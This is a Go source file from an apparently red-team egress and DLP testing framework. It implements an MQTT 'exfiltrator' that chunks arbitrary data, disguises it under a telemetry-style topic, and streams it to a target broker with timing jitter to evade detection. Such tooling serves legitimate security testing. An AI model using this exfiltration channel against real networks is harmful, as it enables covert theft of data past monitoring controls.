[SHEHZADE//ABDULLAH ANSARI]
Red Team Consultant @ Google | MS in Cybersecurity @ NYU
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Multi-protocol network egress assessment and DLP verification framework featuring automated L4 sweeps, corporate proxy traversal, and covert protocol smuggling across 20+ channels.
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| 1 | package covert |
| 2 | |
| 3 | import ( |
| 4 | "bytes" |
| 5 | "context" |
| 6 | "crypto/sha256" |
| 7 | "crypto/tls" |
| 8 | "encoding/binary" |
| 9 | "encoding/hex" |
| 10 | "fmt" |
| 11 | "io" |
| 12 | "net" |
| 13 | "strconv" |
| 14 | "time" |
| 15 | |
| 16 | "github.com/shehzade/contraband/pkg/client/evasion" |
| 17 | "github.com/shehzade/contraband/pkg/client/exfil" |
| 18 | "github.com/shehzade/contraband/pkg/common" |
| 19 | ) |
| 20 | |
| 21 | func init() { |
| 22 | exfil.RegisterExfiltrator(common.ProtoMQTT, NewMQTTExfiltrator()) |
| 23 | } |
| 24 | |
| 25 | // MQTTExfiltrator implements MQTT v3.1.1 CONNECT / PUBLISH QoS 1 / PUBACK streaming over TCP and TLS. |
| 26 | type MQTTExfiltrator struct{} |
| 27 | |
| 28 | func NewMQTTExfiltrator() *MQTTExfiltrator { |
| 29 | return &MQTTExfiltrator{} |
| 30 | } |
| 31 | |
| 32 | func (e *MQTTExfiltrator) Protocol() string { |
| 33 | return common.ProtoMQTT |
| 34 | } |
| 35 | |
| 36 | // EncodeMQTTLength encodes variable length integer per MQTT v3.1.1 spec. |
| 37 | func EncodeMQTTLength(length int) []byte { |
| 38 | var encoded []byte |
| 39 | for { |
| 40 | digit := byte(length % 128) |
| 41 | length = length / 128 |
| 42 | if length > 0 { |
| 43 | digit |= 0x80 |
| 44 | } |
| 45 | encoded = append(encoded, digit) |
| 46 | if length == 0 { |
| 47 | break |
| 48 | } |
| 49 | } |
| 50 | return encoded |
| 51 | } |
| 52 | |
| 53 | // DecodeMQTTLength reads a variable length integer from an io.Reader. |
| 54 | func DecodeMQTTLength(r io.Reader) (int, error) { |
| 55 | multiplier := 1 |
| 56 | value := 0 |
| 57 | buf := make([]byte, 1) |
| 58 | for { |
| 59 | if _, err := io.ReadFull(r, buf); err != nil { |
| 60 | return 0, err |
| 61 | } |
| 62 | digit := buf[0] |
| 63 | value += int(digit&0x7F) * multiplier |
| 64 | if (digit & 0x80) == 0 { |
| 65 | break |
| 66 | } |
| 67 | multiplier *= 128 |
| 68 | if multiplier > 128*128*128 { |
| 69 | return 0, fmt.Errorf("malformed MQTT remaining length") |
| 70 | } |
| 71 | } |
| 72 | return value, nil |
| 73 | } |
| 74 | |
| 75 | // BuildMQTTConnect creates an MQTT v3.1.1 CONNECT packet. |
| 76 | func BuildMQTTConnect(clientID string) []byte { |
| 77 | var varHeader bytes.Buffer |
| 78 | varHeader.Write([]byte{0x00, 0x04, 'M', 'Q', 'T', 'T'}) // Protocol Name |
| 79 | varHeader.WriteByte(0x04) // Protocol Level v3.1.1 |
| 80 | varHeader.WriteByte(0x02) // CleanSession = 1 |
| 81 | varHeader.Write([]byte{0x00, 0x3C}) // KeepAlive = 60s |
| 82 | |
| 83 | var payload bytes.Buffer |
| 84 | clientBytes := []byte(clientID) |
| 85 | binary.Write(&payload, binary.BigEndian, uint16(len(clientBytes))) |
| 86 | payload.Write(clientBytes) |
| 87 | |
| 88 | totalLen := varHeader.Len() + payload.Len() |
| 89 | var packet bytes.Buffer |
| 90 | packet.WriteByte(0x10) // Packet Type: CONNECT |
| 91 | packet.Write(EncodeMQTTLength(totalLen)) |
| 92 | packet.Write(varHeader.Bytes()) |
| 93 | packet.Write(payload.Bytes()) |
| 94 | |
| 95 | return packet.Bytes() |
| 96 | } |
| 97 | |
| 98 | // BuildMQTTPublish creates an MQTT v3.1.1 PUBLISH packet (QoS 0 or 1). |
| 99 | func BuildMQTTPublish(topic string, packetID uint16, qos byte, payload []byte) []byte { |
| 100 | var varHeader bytes.Buffer |
| 101 | topicBytes := []byte(topic) |
| 102 | binary.Write(&varHeader, binary.BigEndian, uint16(len(topicBytes))) |
| 103 | varHeader.Write(topicBytes) |
| 104 | |
| 105 | if qos > 0 { |
| 106 | binary.Write(&varHeader, binary.BigEndian, packetID) |
| 107 | } |
| 108 | |
| 109 | totalLen := varHeader.Len() + len(payload) |
| 110 | var packet bytes.Buffer |
| 111 | headerByte := byte(0x30 | ((qos & 0x03) << 1)) // Type 3 (PUBLISH) + QoS |
| 112 | packet.WriteByte(headerByte) |
| 113 | packet.Write(EncodeMQTTLength(totalLen)) |
| 114 | packet.Write(varHeader.Bytes()) |
| 115 | packet.Write(payload) |
| 116 | |
| 117 | return packet.Bytes() |
| 118 | } |
| 119 | |
| 120 | // BuildMQTTDisconnect creates an MQTT DISCONNECT packet. |
| 121 | func BuildMQTTDisconnect() []byte { |
| 122 | return []byte{0xE0, 0x00} |
| 123 | } |
| 124 | |
| 125 | func (e *MQTTExfiltrator) Exfiltrate(ctx context.Context, reader io.Reader, opts exfil.ExfilOptions) (*common.ProbeResult, error) { |
| 126 | if err := opts.Validate(); err != nil { |
| 127 | return nil, err |
| 128 | } |
| 129 | |
| 130 | start := time.Now().UTC() |
| 131 | result, err := common.NewProbeResult("exfil", e.Protocol(), opts.TargetHost, opts.TargetPort) |
| 132 | if err != nil { |
| 133 | return nil, err |
| 134 | } |
| 135 | result.Timestamps.StartTCP = start |
| 136 | result.PayloadType = opts.PayloadType |
| 137 | result.CarrierType = opts.CarrierType |
| 138 | |
| 139 | payload, err := io.ReadAll(reader) |
| 140 | if err != nil { |
| 141 | return nil, fmt.Errorf("failed to read payload: %w", err) |
| 142 | } |
| 143 | result.TargetVolume = int64(len(payload)) |
| 144 | |
| 145 | if opts.ExpectedHash == "" { |
| 146 | h := sha256.Sum256(payload) |
| 147 | opts.ExpectedHash = hex.EncodeToString(h[:]) |
| 148 | } |
| 149 | result.PayloadHash = opts.ExpectedHash |
| 150 | |
| 151 | if opts.SessionToken.IsZero() { |
| 152 | tok, tokErr := common.NewSessionToken() |
| 153 | if tokErr != nil { |
| 154 | return nil, tokErr |
| 155 | } |
| 156 | opts.SessionToken = tok |
| 157 | } |
| 158 | |
| 159 | chunks, err := evasion.ChunkPayload(payload, opts.SessionToken, opts.ChunkSize) |
| 160 | if err != nil { |
| 161 | return nil, fmt.Errorf("failed to chunk payload: %w", err) |
| 162 | } |
| 163 | |
| 164 | targetAddr := net.JoinHostPort(opts.TargetHost, strconv.Itoa(opts.TargetPort)) |
| 165 | useTLS := opts.UseTLS || opts.TargetPort == 8883 |
| 166 | |
| 167 | var conn net.Conn |
| 168 | var dialErr error |
| 169 | if useTLS { |
| 170 | tlsConf := &tls.Config{ |
| 171 | ServerName: opts.TargetHost, |
| 172 | InsecureSkipVerify: opts.InsecureTLS, |
| 173 | } |
| 174 | d := &net.Dialer{Timeout: opts.Timeout} |
| 175 | conn, dialErr = tls.DialWithDialer(d, "tcp", targetAddr, tlsConf) |
| 176 | if dialErr == nil { |
| 177 | result.Timestamps.HandshakeTLS = time.Now().UTC() |
| 178 | } |
| 179 | } else { |
| 180 | d := net.Dialer{Timeout: opts.Timeout} |
| 181 | conn, dialErr = d.DialContext(ctx, "tcp", targetAddr) |
| 182 | } |
| 183 | |
| 184 | if dialErr != nil { |
| 185 | result.Verdict = classifyCovertError(dialErr) |
| 186 | result.ErrorMessage = dialErr.Error() |
| 187 | calculateCovertDurations(&result) |
| 188 | return &result, dialErr |
| 189 | } |
| 190 | defer conn.Close() |
| 191 | |
| 192 | result.Timestamps.ConnectedTCP = time.Now().UTC() |
| 193 | result.Timestamps.FirstByteSent = time.Now().UTC() |
| 194 | |
| 195 | // Step 1: Send CONNECT |
| 196 | clientID := fmt.Sprintf("ctrb_%s", opts.SessionToken.String()[:8]) |
| 197 | connPkt := BuildMQTTConnect(clientID) |
| 198 | if _, err := conn.Write(connPkt); err != nil { |
| 199 | result.Verdict = classifyCovertError(err) |
| 200 | result.ErrorMessage = fmt.Sprintf("failed to send MQTT CONNECT: %v", err) |
| 201 | calculateCovertDurations(&result) |
| 202 | return &result, err |
| 203 | } |
| 204 | result.BytesSent += int64(len(connPkt)) |
| 205 | |
| 206 | // Step 2: Read CONNACK (0x20, 0x02, returnCode, sessionPresent) |
| 207 | _ = conn.SetReadDeadline(time.Now().Add(opts.Timeout)) |
| 208 | connack := make([]byte, 4) |
| 209 | if _, err := io.ReadFull(conn, connack); err != nil { |
| 210 | result.Verdict = classifyCovertError(err) |
| 211 | result.ErrorMessage = fmt.Sprintf("failed to read MQTT CONNACK: %v", err) |
| 212 | calculateCovertDurations(&result) |
| 213 | return &result, err |
| 214 | } |
| 215 | result.BytesRecv += 4 |
| 216 | |
| 217 | if connack[0] != 0x20 || connack[3] != 0x00 { // 0x00 = Connection Accepted |
| 218 | err := fmt.Errorf("MQTT connection refused by broker: code 0x%02X", connack[3]) |
| 219 | result.Verdict = common.VerdictBlockedL7 |
| 220 | result.ErrorMessage = err.Error() |
| 221 | calculateCovertDurations(&result) |
| 222 | return &result, err |
| 223 | } |
| 224 | |
| 225 | topic := opts.Headers["topic"] |
| 226 | if topic == "" { |
| 227 | topic = "telemetry/sensor/data" |
| 228 | } |
| 229 | |
| 230 | // Step 3: Stream Chunks via PUBLISH QoS 1 |
| 231 | for i, chunkFrame := range chunks { |
| 232 | packetID := uint16(i + 1) |
| 233 | |
| 234 | if opts.Shaper != nil { |
| 235 | if err := opts.Shaper.WaitN(ctx, len(chunkFrame)); err != nil { |
| 236 | result.Verdict = classifyCovertError(err) |
| 237 | result.ErrorMessage = err.Error() |
| 238 | calculateCovertDurations(&result) |
| 239 | return &result, err |
| 240 | } |
| 241 | } |
| 242 | if opts.Cadence != nil { |
| 243 | delay := opts.Cadence.NextDelay() |
| 244 | if delay > 0 { |
| 245 | select { |
| 246 | case <-time.After(delay): |
| 247 | case <-ctx.Done(): |
| 248 | result.Verdict = classifyCovertError(ctx.Err()) |
| 249 | result.ErrorMessage = ctx.Err().Error() |
| 250 | calculateCovertDurations(&result) |
| 251 | return &result, ctx.Err() |
| 252 | } |
| 253 | } |
| 254 | } |
| 255 | |
| 256 | pubPkt := BuildMQTTPublish(topic, packetID, 1, chunkFrame) |
| 257 | if _, err := conn.Write(pubPkt); err != nil { |
| 258 | result.Verdict = classifyCovertError(err) |
| 259 | result.ErrorMessage = fmt.Sprintf("failed to send MQTT PUBLISH for chunk %d: %v", packetID, err) |
| 260 | calculateCovertDurations(&result) |
| 261 | return &result, err |
| 262 | } |
| 263 | result.BytesSent += int64(len(pubPkt)) |
| 264 | |
| 265 | // Read PUBACK (0x40, 0x02, pid_high, pid_low) |
| 266 | _ = conn.SetReadDeadline(time.Now().Add(opts.Timeout)) |
| 267 | puback := make([]byte, 4) |
| 268 | if _, err := io.ReadFull(conn, puback); err != nil { |
| 269 | result.Verdict = classifyCovertError(err) |
| 270 | result.ErrorMessage = fmt.Sprintf("failed to read MQTT PUBACK for chunk %d: %v", packetID, err) |
| 271 | calculateCovertDurations(&result) |
| 272 | return &result, err |
| 273 | } |
| 274 | result.BytesRecv += 4 |
| 275 | |
| 276 | if puback[0] != 0x40 { |
| 277 | err := fmt.Errorf("unexpected MQTT packet type: 0x%02X (expected PUBACK 0x40)", puback[0]) |
| 278 | result.Verdict = common.VerdictBlockedL7 |
| 279 | result.ErrorMessage = err.Error() |
| 280 | calculateCovertDurations(&result) |
| 281 | return &result, err |
| 282 | } |
| 283 | } |
| 284 | |
| 285 | // Step 4: Send DISCONNECT |
| 286 | discPkt := BuildMQTTDisconnect() |
| 287 | _, _ = conn.Write(discPkt) |
| 288 | result.BytesSent += int64(len(discPkt)) |
| 289 | |
| 290 | result.Timestamps.AckReceived = time.Now().UTC() |
| 291 | result.Timestamps.TeardownDone = time.Now().UTC() |
| 292 | result.Verdict = common.VerdictSuccess |
| 293 | result.RawEvidence = common.FormatBoundedRawEvidence(payload) |
| 294 | calculateCovertDurations(&result) |
| 295 | |
| 296 | return &result, nil |
| 297 | } |